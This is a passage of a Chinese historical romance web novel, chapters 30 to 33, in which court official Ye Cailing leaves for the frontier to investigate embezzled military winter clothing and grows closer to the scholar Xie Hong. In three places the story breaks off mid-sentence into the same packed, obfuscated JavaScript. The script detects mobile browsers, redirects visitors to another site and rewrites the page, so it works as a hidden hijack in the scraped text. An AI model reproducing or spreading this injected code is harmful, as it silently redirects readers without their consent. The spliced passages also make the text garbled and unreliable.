“那日围场，明明已经几乎接近定论，谁承想那叶女官平白有了证物，硬是翻盘。” 此话一出，两人俱是一滞，却都不约而同的想起那日的场景。 那日殿内，叶采苓当着众人之面娓娓道来。将被追赶后机缘巧合取得那篮子的事情，讲得引人入胜。 “你最后是如何知晓，是枢兰的探子？”皇帝最后发问。 叶采苓行到众人之前，手指轻轻放在篮子之上。笃定地开口： “回禀陛下，此篮中，便是今日最有利的证据。” “白芨近温，黄柏性寒凉。而兽苑惯用的麻药里，便有这两味药。只是换药之人并不识得此药，故这篮子的夹层里有一副药方，以笔画出了这两味药的样子，还用枢兰语写下了药名。证据确凿，故那宫女以死相托此物给臣女。” 众人之中她不怯不惧，就如同并未面对满朝重臣似的。 “而这笔迹，墨痕微带褐红，是太医院惯常用的墨。这也恰好能解释，为何地上曾有文臣补服的残片。内应想必在随行太医之中，皇上圣明，可遣人查验字迹。” 她陈述之后退下，大理寺还想说什么，却被刑部的人截下。 刑部遣人验过，报给皇上，道叶女官的判断无甚差错。 皇上听明白，终于点头道：“此事我已听明。叶女官行事谨慎，以身涉险取关键之证，赏。” 炉内青烟燃烧得浓了些。 任丘回神，只不甘道：“只是谢泓此子心思深沉，又有几分机缘在，一时无法应对。他身边那几个人亦是棘手。” 段长明望着他，眼里意味深长，却不作声。 任丘眼神一点点亮起来，道：“恩师的意思是——若动不了谢泓，为何不能先动他身边那些人？” 段长明点头。 任丘已经开始筹划。 “前些日子长公主已经盯上甘州的贩衣之事。秋日军需早就被送去，那里的兵士却都是一应喊着天寒地冻。长公主怀疑此事有问题。” “学生已经听说，她秘密遣了几个女官，商议此事。” 段长明意味深长：“这不就是机缘么？漠北入秋之后，实在是苦寒啊。” “听说许多兵士亦是在冻雪里苦苦捱着，直到冻死。若朝中真有人暗访，但求能平安渡之。” 任丘眼睛亮了：“学生多谢恩师提点！” 离了段长明养病的院落，他便迫不及待地回到了自己的书房，提笔便在纸上写起什么。 那纸像是特制的，薄能透光，却柔韧无比。写完后他将纸熟门熟路地卷成一筒，塞入了竹筒后绑到了鸟禽的腿上。 “去罢。” 任丘的脸在烛火下忽明忽暗，声音有几分阴寒。 * 管弦悠扬，丝竹之音清雅而绵长。 谢泓在自己府内设宴，却是头一遭。此前他一直韬光养晦，只做好平日里的公务，却从不曾如此大张旗鼓的社交。 谢府外已经点起了许多盏绛纱勾连云纹座灯，座灯的六角皆饰以琉璃，雅致明亮。 谢泓并未着朝服，贴身着了一件月白苎罗长衫，身骨修长挺拔。正站在门口，向下马之人微微一拱手，袍袖微扬。 “时小将军，今日来了。且里边行。” 时青卓笑道：“谢兄切勿客气，今日能受邀，也是我时家之乐。说起来小妹今年能被谢兄邀请，很是欢欣啊。” 谢泓道：“因我知晓时姑娘与小叶是交情好的，此时自然要邀请她。” 时青卓哈哈称是。 却是边向里走边挠头，因得刚刚那一瞬间，好像感受到一种竞争的样子。 小叶？ 就好像谢泓有意在宣扬他与叶姑娘有多熟稔一样。 他们真是有这么熟稔么？ 时青卓抿唇。他在军中一向行事干脆，此时便觉得，若有疑虑，今日却是不如问个明白。 叶采苓下轿的时候宴会几乎要开始了。 她却不慌，只笑道：“今日女官们聚在一起议事，晚些时候和你说，有大事要讲于你听呢。”谢泓眉眼舒展，但语气里有几分忧思。 “我大抵也是知晓的。罢了，你先去。” 今日之宴为私宴，又是在朝内一向端方温然的谢学士举办的，众人望着都随性了许多。更不用提谢泓还尚未婚配，此时又是有许多女眷在一旁闲聊。 却见有女子望着那桌上的名帖道。 “这字望着十分清逸，可是谢学士亲笔？” 又有作郡主打扮的少女道：“我家父与我说过，谢学士的字要更飘飞出尘些，我看着并不像。” 她却是顺手拉过叶采苓，问道：“你来猜猜，这是谁的字？” 叶采苓一望这两位小郡主，却觉得头疼。 两位少女早早封了郡主，又都年岁相仿，在京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464269|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里名号极其响亮。只是她们爱玩爱闹，偶有各种差错，时常让她们的父亲分外头疼。 头发挽成双心髻的小郡主见面前的美人姐姐微微蹙眉，却极其好看，先是有了几分好感。 “姐姐怎么认识我？” 叶采苓笑道：“清瑜郡主声名在外，臣女自然识得。微臣叶采苓，现为朝中女官，见过清瑜、郁琅郡主。” 另一位单髻的郁琅郡主不管这些，又问：“那你觉得这是谁的字？” 叶采苓凝神道：“这字章法疏朗，又有遒劲之意，我见像是谢学士的亲笔。” 郁琅郡主拍掌道：“你看，我便说是如此吧。” “叶姐姐怎么如此知晓？”清瑜郡主小脸耷拉下来，只道：“家父说谢学士之所以年纪轻轻便点上探花，也是因为他有一手好字的缘故。让我时常勤练着些。此时我辨不出字，大抵也点不上了。” “郡主不必多虑，”叶采苓柔声安慰道：“有惊世之文采，便也不用过于苛责自己的书迹。实则只是容亲王用心良苦，想让郡主多花些工夫练习。” 清瑜郡主摇摇头：“但我觉得应该多看些好看的字，日子久了便能学会了。” 却听到耳边传来一声愉悦的轻笑，微微带着些扬。 叶采苓微微仰头，见到谢泓。 他今日身为宴会主人，左右逢源十分忙碌。此刻抽出时间过来，却听到这样有趣的对话，便对着清瑜郡主笑言：“你叶姐姐当年可并不是只看字便练好书法的。若想有成绩，是要下一番工夫。” 清瑜郡主鼓起脸颊，只道：“你怎么知晓？” 谢泓一愣。 却毫不避讳言语间的亲昵：“我与小叶相识的时候，可比你练字的时日要早。” 清瑜郡主急了，拉着身边的其他少女便去问自己到底练了多少日。 叶采苓微微笑出声。 对着宴会主人道：“今日之宴，我看你的确是十分用心，也真是宾主尽欢。” 谢泓道：“无他，只是的确也到了该出面的时日。” 两人像是在打哑谜。 只是很快又有人去寻谢泓，谢泓道一声抱歉，却又对叶采苓道：“宴后你等我片刻……有一物要予你。” 叶采苓道好。 她转回席面，又见到上了一轮新的吃食。有做成蜜枣形状的酥点，表面有纵向纹路，像是千层花朵似的。 时秋心正在那里拣选着糕点，见叶采苓，盛情推荐这一块。 叶采苓吃了，道确实不错。时秋心又想起一事：“方才我兄长便在寻你，我这就唤他去。” 急火火走了。 叶采苓一颗蜜枣酥尚未吃完，便听到身后传来飒沓脚步声。 果然，时青卓迈着大步过来。 只是越往过走，他的步速就越慢，像是被什么东西抽走力气一样。等到真的走到叶采苓身边时，语气却有些讪讪起来。 “今，今日之宴确实不错啊。”他道。“叶姑娘吃的是何物？” 叶采苓失笑，怎么时家人都和这酥点过不去了，便道是蜜枣酥。时青卓吃了一颗，道：“我虽不常吃这些甜的吃食，此物口味确实不错。” “蜜枣酥是谢府专人做的。”叶采苓笑道：“谢学士当初择这位师傅的时候费了好大的工夫。” 却见时青卓好像终于找到由头一样，鼓起勇气道：“我早就想问你。” “你与谢泓，是否有意？” 脑中轰的一声。 叶采苓并未想到此时能听到这样的话，一时间却是不知道该如何回答。 31. 第 31 章 叶采苓望着明月出神。 谢泓自众人之后行出，见到的就是这样的情景。 她纤腰一束，立在月光下，长发挽着，有一缕碎发松松地垂在耳后。她只是站在那里，却让谢泓有些移不开眼。 他轻声道：“小叶今日有何事？” 叶采苓听到这声音一怔，被他提醒，却才从方才场景中回神。 方才。 ——时青卓望着她。 青年人眼睛乌黑明亮，带着未经人世黑暗的一股赤忱。 她尚在发愣，却听到对方有些磕磕绊绊的表述。 “我只是觉得，若叶姑娘何时有空，我携兵法去行月茶楼寻你。” 兵法，又是兵法。 事到如今她在心里反复想几遍，已经明了时青卓的意思。 她一滞，望向时青卓。只是那时场景人多眼杂，却并不知晓该如何回应。 时青卓见她的反应，只道：“无妨……我过些日子再与家妹一起寻你。” 言语里给她留下了足够的空间，已是并未多留，贴心地离去了。 谢泓却也正想着此事。 他方才分明又见叶采苓与时青卓在宴席一角聊的甚欢。自己是今日宴会主人，迎来送往自然免不过，却是只能望着，明明心里极其复杂，却无法得知他们在聊些什么话题。 “你与时小将军——罢了。” 谢泓忽地打住。只是因为此时说与不说好像没什么分别。 “公子方才说何事？” 叶采苓转头望见他，问道。她的确是并未听到这话。 “无妨，你且说。”谢泓让她先言。 想到接下来的事，叶采苓眉间带上了几分思虑。 “公子可否知晓，漠北军需克扣一事？”她与谢泓道：“长公主欲遣可靠女官去塞北——已与几位女官通过气，最终定下的是我。我过几日便要前往。” 谢泓明明还在挂念方才之事，此时听到叶采苓这样说，心思一动。 “小叶说的正是时候。” 他的手虚虚指向桌上的匣子，道：“我已得到消息，猜测便是你要去。知晓漠北更深露重，我备了些赠礼。” “是何物？” 叶采苓心里有几分雀跃。谢泓出手的物件，总是极好的。她一双明净笑眼望过去，并没有注意到面前男子不自然地移开了眼神。 她启开匣子。 一件雪白的大氅，云缎的里子，在匣子里叠的齐整。手指触上去有软弹的出锋。带上兜帽的时候，软绒的一圈细毛包着她的脸颊，的确衬她。 摘下大氅，她望向谢泓温声道谢。 却又想起刚刚时青卓的话。 “你与谢泓——是否有意？” 心里正在思忖，却听见谢泓淡淡问，声音里有一丝不易察觉的涩：“今日我看你和时小将军相谈甚欢，有什么有趣的事情么？” “并无什么事情，只是寻常闲聊罢了。”叶采苓下意识道。她一向不愿提这些心思。 谢泓更恼，一向好的性子此时却破功了，加重了些语气知道：“你且说来。” 叶采苓却是觉得有些委屈了。 这人今日没头没脑的来这么一句？他们是什么关系，若无关系，又为何要一直追问？ 再追溯到之前，他在围场里的援护，还有再之前，在云州的时候。 总是无故的救她，又总不经意伸出手。 叶采苓：“你想让我说什么？” 她又能说什么。她望望院外似乎已经无人，却觉得今日好像也就这样了，一扭身准备走。 冷不防谢泓也正在一旁踱步生闷气，于是她一侧肩膀直直撞进谢泓怀里。 好痛。 谢泓立着不动，叶采苓揉着肩膀赌气仰头望他。 却猛然听到谢泓移开目光，轻声道。 “此番北上，你要保重。” “漠北天气苦寒，日头高照的时候望着天高云淡，只要太阳一落便截然不同。你若是在那里，千万不要落单，一定要与人同行。” “此外你行到一半的时候，会过沧蒙江，过了这江基本就离开我们熟悉的地界了。先是草原，见到草原之后便是沙漠。走到最后，你才会到达甘州。” 月亮升起来了，院落里静无人声。 只有谢泓的声音，温润的，低回的，在她耳边响着。 关心的心思曲折，此刻与刚刚那大氅放在一起，却是显露无疑。 谢泓觉得自己再讲的话，心思怕是要圆不回来了。 面前女子眼睫微闪，却是直直望着他。 “谢学士，此番我去塞北，也并不见得回不来吧？” 她忽地笑了，不知有心还是无心，那先前些许暧昧的氛围却是被打破。 谢泓舒一口气，又端回一张清卓面孔，只笑道：“山高路遥，此去要当心哪。” 两人却忽地好像找到了合适的聊天内容。 叶采苓正色道：“此番长公主遣我，却是还为我指派了温女官做联络。若我有消息，可以通传给温女官。” 这便是寻常做法。长公主事务繁杂，还要兼着与太后商议新选女官的工作范围。她惯常会寻几位得力女官做总管事，向自己直接汇报。看来温道盈不愧为国子监祭酒之女，的确有些文采在，故而被长公主看重。 谢泓点头：“的确。” 却忽然想起来这几次长公主邀他谈事的时候，温道盈确实都在。 他心里暗叹一口气。知晓叶采苓聪慧，她日常在朝内的经营却还是少了些。有几位女官时常与长公主通报，早都在朝中混成了熟面孔。 此刻明明不应当说的，他却还是说出了口。 “你可知此去塞北，实则风险极大？”谢泓道：“温女官在京通传消息，风险较你小上许多。但上报的时候大抵你是赶不回来的。若事情能成，她到时面圣上报，却只有好处并无坏处。” 叶采苓微微顿住。 那日遣人去塞北，的确是许多平日里活跃的人都默不作声了，而温道盈先是出来说她要承办，却又当即给太后和长公主推荐了叶采苓作为人选。 长公主知晓是那日猎场出来解围的女官，道这是个可靠的，便选了她。 谢泓有些担心的看着她的脸。 心里已经有几分后悔刚刚不应该如此直白言说，叶采苓她入朝为官并不是很久，有些稍显阴暗的地方她应有感觉，但仍保有自己的坚持。 却见面前女子眼睛在月光的映照下显得仍然明亮。 就好像是很多年前她拿起笔，在云州书阁开始翻阅起第一册典籍时一样的眼神。 她笑，好像所有的朝堂的风雪刀光都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464270|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底消融。 “我当然知晓这些。但总要有人去为万民开一条路，这是为官本心。若不是我，亦要有别人，那为何不能是我？” 谢泓顿住。 入朝为官，本心是扶大厦之将倾。 此时话语里传来不可忽视的热度，连带着他的心又跳的更急促了起来。 她并非不懂，而是本心依旧未变。 却听到外面有少女抱怨的声音：“说什么让我回来取请帖，我看爹就是老古板。那请帖落便落在这里了，为何还要取回？” “郡主且行的慢些，此时尚未洒扫完毕，想必是能寻到的。”是谢府长随竹明的声音。 听这意思，清琅郡主好像是要回来取东西。 “我爹非说请帖不能落在主人家——啊，寻到了！”清琅郡主少女心性，此刻大大咧咧地寻到，便毫不留恋的往回走了。 竹明与她的婢女皆是亦步亦趋的跟着，生怕她跌了撞了。一行人像来时一样离开了院落。 经历刚刚一个插曲，两人都默契地没有作声，只是此刻叶采苓想也不用想，知道自己的脸上必定绯红。 ——只因得刚刚谢泓一听到院外有人，直接拉着她向回廊下躲去。 隔着衣料，他手牢牢握着她的手腕。 已经足够赦然了，却偏偏被他今日那苎罗长衫绊了一跤！ 她最后能做到的也只是抬手掩住自己口中的惊呼，身体已经不由自主的倒向地面。 做好了摔倒在地上的准备。 却被谢泓的怀抱牢牢的接住了，青年人身上散发的热意在仲秋的凉夜里，存在感有些明显。他肩背清瘦，却意外地有力，给了叶采苓十足的安全感。 “咳。公子？” 一瞬间谢泓怀里的温软让他有些失神。从他的角度，可以看到面前女子樱红唇瓣，还有鬓发半掩着的白皙小脸。 糟糕。 更糟糕的是她此刻情急之下叫的那声公子。 谢泓一瞬间想起的却是许回忆。明明从云州初见她的那一刻起，鬼使神差的出手相救，就应该察觉到不对的。 怎么会直到今日，直到又一次看见时青卓围着她不断谈天说地，才终于意识到呢？ 谢泓正在出神，感到怀里纤细腰肢挣动了一下。 耳听到院内清琅郡主与竹明离开，他方才松开手。 叶采苓含羞带怨望向他。 两人明明相识这么久了，怎么今日谢泓表现得如此奇怪？她不过多与时青卓说了两句话…… 等等。 时青卓此前的话第二次出现在她脑子里。 她与谢泓？ 明明早已经决定了的事。此时又好像生出了些莫名的枝节。今日反复的纠缠已经有些离奇，她微微咬住唇瓣。 而那一瞬间怀里的温软离开，却有什么东西在谢泓心里轰然坠地。 谢泓望着她的眼，心里却忽地默念。 发乎情，止乎礼。 但此话一出，他却发现自己坠入的更深。他此刻想到此言，其实已是一种笃定。情起已经不可考，但他此刻无比确定的是，自己确实对她有情。 此刻他头脑前所未有的清明。 纳采需要寻找可靠媒人。 不对。 但她此去漠北路途遥远，尚不知晓……回返时日。 32. 第 32 章 秋雨细细密密透着些寒凉。 雨丝打在叶片上的声响，一路如影随形。 叶采苓在马车内挑开帘子向外看。帘外风景向后退去。 送她的京中车辆，送到长亭便折返了。纵然时秋心与她关系极好，也只能止步于长亭。 谢泓则是因为礼部三年一度的册封一事，今日缺席。但在她出行前，还是遣人给她送来一物。 是黑铁的鸟笼，笼内的鸟尾羽纤长，并不怕人。附有谢泓的手书，道此信鸟可用来救急，她处在遥远之地，若仅靠官家驿站，难免有传信缓慢之时。 他叮嘱她：“若有危险，只管放飞。” 现下，出京三四十里时还是官道，道旁齐整有序，石路有人维护。离京越远，路也逐渐失修起来，有些坑洼之处，让车马行驶上去时有些颠簸。 过了两三日，直到见了沧蒙江的江岸，她方才有了些独个出行暗访的实感。 “小姐，我们此番要乘船么？”侍女是从京中带来的，此时为了掩人耳目，两人讲话声音都很低。 叶采苓未答，微微眯起眼睛向岸边看去。 岸边泊的船只中等大小，是每天开行的客船。船体狭长，有三个水密隔舱。 船夫在船首面无表情的等。 她佯装无意地一偏头，余光看到有人影躲到旁边的店铺里去了。 不对劲。 故乡坊间有俗语，道是车船店脚牙，无罪也该杀。 因为船一旦行于水上，便是天然的孤岛。若有人起歹心，在此处更易行动。此刻她难免想起曾经在水上的那只着火的画舫。 此番出京是秘密行动。但在不能确保百分之百安全的情况下，她不敢冒这份险。 “换路，我们绕道白河桥。” 她道。 马车再次在路上颠簸。直到她离了船，那种如影随形的恐惧方才感觉好些。 不是错觉，就是有人在跟着她走。 叶采苓伸手摩挲那鸟笼，有种不妙之感。 她是要去漠北甘州没错，但并没有想到路上就已经有了风险。 暗处两个男子见她没有上船，互相交换了一个遗憾的神色。 * 她并没有带太多的人随行。 此时在一处客栈落脚，吃饭时却有陌生男子故意贴近她坐，语气轻薄，只问：“姑娘去往何处？” 叶采苓不答，低头快速吃着。 男人却忽地伸手，竟然似是要去摸她的脸。 侍女见状立即出手打开，不承想那登徒子寻到由头，立即拿腔拿调起来，“正经人家的女子哪有在外面吃饭的？我看你们是有鬼——且随我去！” 说罢要伸手拉她。 叶采苓正色道：“且慢。我们是朝中出行的女官，有官府文牒。若你胡来，有你好看的。” 男子一愣。 他的确是收了人的钱，对方让给这行人找些麻烦，可对方并没说这是朝中的女官。但他反复打量，却觉得朝中女官不会有这么年轻好看的。 又有身边的打手在旁边嘀咕着：“怎么会呢？肯定是蒙你的。” 叶采苓横眉道：“切勿妄为，确是朝中女官。” 店家并未见过这种场面，心中慌乱，此时报了官。 来的衙役并没有细看，只与那男子交换了一个眼色，男子与他窃窃私语起来。 衙役笑道：“哦，什么女官？文牒拿来我看看。” 叶采苓深吸了一口气，递了出去。 没想到衙役竟看都没看，直接撕了。笑道：“又是装模作样的，本朝的女官那都是稀罕物，哪有这么年轻的姑娘来这里的。” “小姐！”婢女又惊又气，牙咬得紧紧。 叶采苓抿住唇。 见了文牒，怎么会有人还敢故意为之？ 此时她方才知晓什么叫山高皇帝远。衙役却已经上来推推搡搡，只道：“你们无文牒，又在外面闲逛，身份可疑。” “我看你像这人的女眷，不是么？不如还是与他回去吧？” 叶采苓心思急转，只道：“的确不是女眷——若真如你所说，我们自当心甘情愿入衙门等待审查。” 她安慰似的拍拍婢女。 “知县不在，没空升堂。你们便在此处候着罢。” 衙役粗鲁的将主仆二人推进一处院落。 她们无罪，自然不能进牢，这便是县衙外一处安置疑犯的地方。方才东西已经被搜过，值钱的东西都被衙役不客气的充公了。 婢女头次跟着主子出京便遇到这样的事情，惊恐的几乎要背过气去。 叶采苓却安抚道：“无妨，此处虽黑，可到底还是在大周治下。” 她心里有些没底。 又过了三日，却始终未见知县回来。 风雨又大了些。她听到敲门的声音。 门外衙役涎着脸笑道：“有些新鲜的吃食，豆腐包子，可有要的？一两银子两个。” 婢女冷声道：“不要，你且拿去。” “不要？你们今日不是没有吃食了么？”衙役却硬是将身子往门里挤着，道：“莫不是没有银子了吧？我借你们啊，只是——” 叶采苓微微闭上眼不看他。 只道：“小霜，关门。” 婢女用力将门扇闭上，却惊恐道：“小姐，他硬要进门。” 叶采苓心下一坠。 院外传来一阵脚步声。 “大人，您这边走。” 院外，知县并县承、主簿皆亦步亦趋地跟在一人后面。 男子并未着朝服。但行走之间，姿态从容闲适。任谁都能看出来他游刃有余的样子。 知县心里正嘀咕。 京中有大员前来寻访，他得知消息的时候只来得及匆匆赶去县衙，便见得已经有许多人在此处候着了。大员显得十分年轻，只将一张文牒一亮，目光沉沉，并不多言。 谢泓并没有给知县多少好脸色。 临行前他赠给叶采苓的两件物件，除了大氅，便是信鸟。那鸟训来的时候，便是按照一旦离笼，便返京的方式来训的。 他知晓此番路途艰险，但尚未到达目的地，却就遭遇如此情形，还是头一回见。 叶采苓放飞信鸟的时候，只来得及匆匆写到方位，并没有写的多么详细。也并没有指望谢泓能亲自来—— 叶采苓惊讶地看着来人。 谢泓目光沉如水，安抚性地看了一眼她。 转身对知县道：“本县羁押人员，既定之规怎的还未呈上？” 知县忙跪下，只道：“属下惶恐，已经遣人去取。” 等主簿将书册取来，谢泓长指闲闲地翻过两页，便道：“这书册装订痕迹不对。”又仔细看来，不消一刻钟，已经点出书册内容几处违规，将那对质的主簿说的面红耳赤。 “此处书册伪造之风，我看是盛行哪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464271|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 知县喏喏，只道一定整改。 谢泓冷声道：“大周治下，肆意妄为枉顾王法。不必整改了，你且等着户部下令。” 知县双腿一软，只跪坐在地。 有灵醒些的小吏见此景，已经拉着他们离开此地，心道不要再触了这大员的霉头。 而婢女不知何时已经悄声退下，叶采苓望着房中立着的谢泓，有几分委屈。 谢泓望着她，他沉浸在得而复失的喜悦里。 不能再让她身处危险之中了。 这个念头出来，他才恍然知晓。 ——其实在很早之前就已经动心了吧。就是那种，见到她的成长，会发现自己眼角眉梢也漫上笑意，是那样的心思。 直到谢泓离她很近的时候，叶采苓慌了神。 已经能几乎能贴到他的胸膛。这是不是……未免有些太近了。 却听到谢泓一声近似喟叹的声音：“小叶，你告诉我。” 理智告诉他他不应该如此说。他们曾一同从云州到京城，叶采苓又是他亲手一点点带起来，直到今日能独当一面。 他不应有旁的感情，就像看一株苗木，应该看着它独自成长，而不应该再去插手援护。可他偏偏就是想要参与。 “若有人对你有意，你当何如？” 叶采苓听到自己心跳的声音，唇瓣张了又张，却没有发出声音。 一时间心乱如麻。就好像曾经云州那个初入府的少女正在她身边，她听到心底那个女子欣喜的声音。 是他么？他亦对你有意么？ 为何不应他，叶采苓，为何？ 她却顿住了。 却忽地感受到意料之外的触感。脸颊被温柔地捧起，直面男子一双眼睛。 一贯卓然清正的气质。此时他依旧是那样，眼神却分外温柔。 谢泓道：“等你回来……我当去你府邸。纳采需要一双雁，我遣人去猎来。” 话语背后的深意却让叶采苓的心脏终于抑制不住的加速跳动起来。 “纳采——这是？” 谢泓却道：“无妨，回去歇息吧。” 他眼眸深深，心里已经打定主意，是一刻也不想再多等。只等她回京，就要前去府邸求娶。 面前的女子低头，他却清晰地从她脸颊上见到一片嫣红。她显然听懂了—— 再抬头，她带着几分温柔的期待与羞涩，只道。 “好啊。” “我……且等你。” 心意昭然。 只是此时含着温软笑意的两人自然不会知道。 他们即将面对的天地正在前方静默不语，等着一切缓缓铺开，最终天翻地覆。 * “主子，前面那边便是甘州城了。” 叶采苓打起车帘。 漠北的寒意附在骨头上，直向人心口钻。她遥遥的能看见远处一线城墙，巨大的城门下站着兵士。 车轮刹住。 驾车的伍师傅向回望，语调有几分迟疑。“你们是——” 来者一身官差打扮，语气谄媚。 “早听闻有京中大员要来此办案，我们主簿已经备下薄酒恭候多时了。” 叶采苓愣住。 尚未到达，行踪却是彻底暴露。 这一程的波折，却都好像在昭示着，此番长公主要她查的棉衣案背后各方势力牵扯颇深。若是这样，该如何查？ 33. 第 33 章 宫内。重重飞檐之下是渐次飘落的细雪。 该入冬了。 碎玉一样的雪沫尚未落到宫檐上方，便被升腾起的热力消融。太后畏寒，慈宁宫里早早燃了地龙，殿内的大铜缸里熏着沉水檀香。 此刻几个女眷正隐隐以长公主为首，围在一处，都在陪着太后谈天。 “入冬了，哀家记得前些日子曾有兵士因为过于寒冷哗变，可有此事？” 长公主颔首，道：“的确，但近期已有进展。新制的棉衣已经在送往漠北的路上了，我还遣了得力女官去接洽此事，看看究竟何因。” 有一女子坐在下首，此时当即乖觉地抬头笑道：“正是，我前些日子已去看了，新制棉衣足够厚实，可以抵御风寒。此次定要查出来是何人偷天换日，胆敢克扣军需。” 讲话的正是温道盈。 这样一接话，太后不疑有他，只觉得是此女官在主导漠北军士棉衣的查勘，也来了几分兴趣。 “这位姑娘是个生面孔，听这意思，对政事颇通。也是新选的女官罢。” 温道盈是首次与太后在私人场合会面，此时表现的倒也从容。几句话笑着将自己的出身及现任官职一一道来。 太后注意到了什么，却是转头问起了长公主。 “云州？” 太后一双眼睛看向长公主，语气带些试探：“云州风物甚好啊。” 长公主微微摇摇头。 “的确，但……” 话到嘴边，却又欲言又止，只佯装无事揭过。 温道盈一双杏眼在席间打转，并未作声。 几日后，她悄悄寻到太后身边的姑姑澜月。 “澜月姑姑。” 温道盈巧笑倩兮，并不提具体事务，只道：“我见了姑姑就觉得极其亲近的……” 她常常见面并赠礼，终于与澜月混了个脸熟。 又过了些时日，她方才终于佯装无意地问道。 “姑姑是自幼在宫中的么？可曾……去过云州？” 当年的云州，到底发生过何事，为什么宫内与此事有关的人都语焉不详。 而她费尽心思买通了谢泓身边下人，也同样得到消息。 谢泓亦是在云州停留许久，似是在寻人。 澜月姑姑望她，眼里带几分谨慎。 “我并不是十分知晓。” 却是见四下无人，拉着她的衣袖往偏殿去了。 * 边塞，甘州城。 叶采苓离京有了些时日，对京内那些暗流涌动无从知晓， 此刻她望着那宴席——明知是鸿门宴，也只能上阵了。 叶采苓面上没什么不虞神色。应对那主簿的劝酒也十分圆滑。 她一双眼睛静如寒星，却让主簿的心里打起鼓来。 甘州是他们的地盘，朝内要派人来，纵然是机密，但世间没有不透风的墙，知县自己不露面，而是遣他们这些官吏先来个出其不意的露面。 意在让京中来的人知晓，他们甘州也并不是好捏的软柿子，上面也是有人的。 只是此时事态发展却是超出他们的预期。 本以为此人见暗访的计划被拆穿，至少会表现出慌张失措。 她却显得像是十分了然的模样，并没有什么额外反应，应对劝酒也能从容地说上几句。 主簿悻悻喝了几杯酒，却忽地一拍大腿，豪气道：“叶姑娘此行，可有需要我们配合的？小的自当尽心尽责哪，姑娘放心，绝无半点折扣。” 却听不出来几分尊重，像是在与邻人说笑。 叶采苓不言，抬手挟了一筷子席间的菜色，只慢条斯理吃了。 再抬头，脸上挂了些恰如其分的薄薄笑意。 “我倒不知晓，何时京中查案，需要旁的人干预了。” 她脸色一凛，收了那笑。 “看来这甘州，实在是自成方圆哪。主簿，你说是不是？” 这话背后的深意，甘州众官吏自然不敢认。 席间几人支支吾吾了几声，最后那主簿脸色便有些讪讪，只道：“甘州是大周朝的甘州，当然是要依着朝堂律法办事，叶女官言过了。” “我等不敢打扰女官，有何需要，大可和小的吩咐。” 话语间却少了些方才的轻慢。 叶采苓拿回主动权，不动声色地打量席间众人，却很快又发现一处蹊跷。 “诸位方才介绍过官职，怎的，负责收取税银的主簿却是不在么？我看名册，那人似乎姓何。” “女官好记性，何主簿是在府上养病，前些日子前去边上的几个村落督查收税，染上了风寒。”有人低声道。 叶采苓道:“如此，便是好生休养为宜。” 席毕，叶采苓沉稳地敛起衣角，只向外行。 侍女静霜已经立在马车前，很有眼色地给她递上大氅。甘州的确地处边境，若是还在京中，这个时节的雪落在地上尚会融化。 而眼前地面上已经冻上了不化的冰。 她拢拢大氅上的软绒，与驾车的伍师傅道：“走罢。” 车夫并不多言，一扬马鞭，车轮便辘辘地离开了。 她心道这甘州果然是块铁板，席间那些作陪的主簿文书之类的，看似热情，实则并未提供任何有效信息。 且最关键的，负责税收与物资的主簿并没有出现。 手指上已经传来些凉意，但被大氅包覆的身躯却并没有感受到塞上的寒风，依旧是笼着恰如其分的暖。就像那个人一样，只要他想，行事就能让人如沐春风。 她逐渐感到心静了下来，只仔细考量此时的境遇。 若是谢泓在，他会如何做。 这世上是否真的有三缄其口的人？还是说，她尚未选得合适的法子。 主簿他们在席间并没有直说，言语间却无不透露着粉饰太平的意思。 反复只强调“此处无事”，这样的话语本身就是心虚的体现。 此时已经打草惊蛇，却不妨让事情的发展更进一步。她越看这些官吏的表现，便越知道此处定有问题。 她忽地扬起声音问车夫：“伍师傅，若我们明日一早出行，可否能走？” 伍师傅是自那日谢泓在江边与她互通心意后，给她带来的护卫。谢泓当时道她仅仅带着侍女，在塞外还是少了些保障。 伍师傅点头：“晨起霜重，但只要太阳一出，路上冰化得便很快了。女官可要明日出行？” “是，我明日打算去周围的村落看看。”她语气透露着几分凝重：“甘州兵士饥饿苦寒，那此地民众，我想着情况也不会太好。” “那些官吏一个个吃得红光满面——甘州地处边塞，缺水少食，今日席间竟然上了好些河鲜。” 侍女静霜一听就明白了，道：“民脂民膏都被这些人搜刮干净了。” 叶采苓低眉思考着：“是啊，霜儿，你明日着我的衣裳，先去甘州城里多转上几圈。” “我明日与伍师傅出城。” 一语定下。 果然，次日静霜做女官打扮，上了那架马车去了。叶采苓眼看着有几个探子跟上了静霜的路线，自己回身给伍师傅打了个手势。 她此时着了一身粗布夹袄，与伍师傅扮作来城里贩货的乡民，两人径直出了城。 两人向离甘州最近的村落跋涉过去。 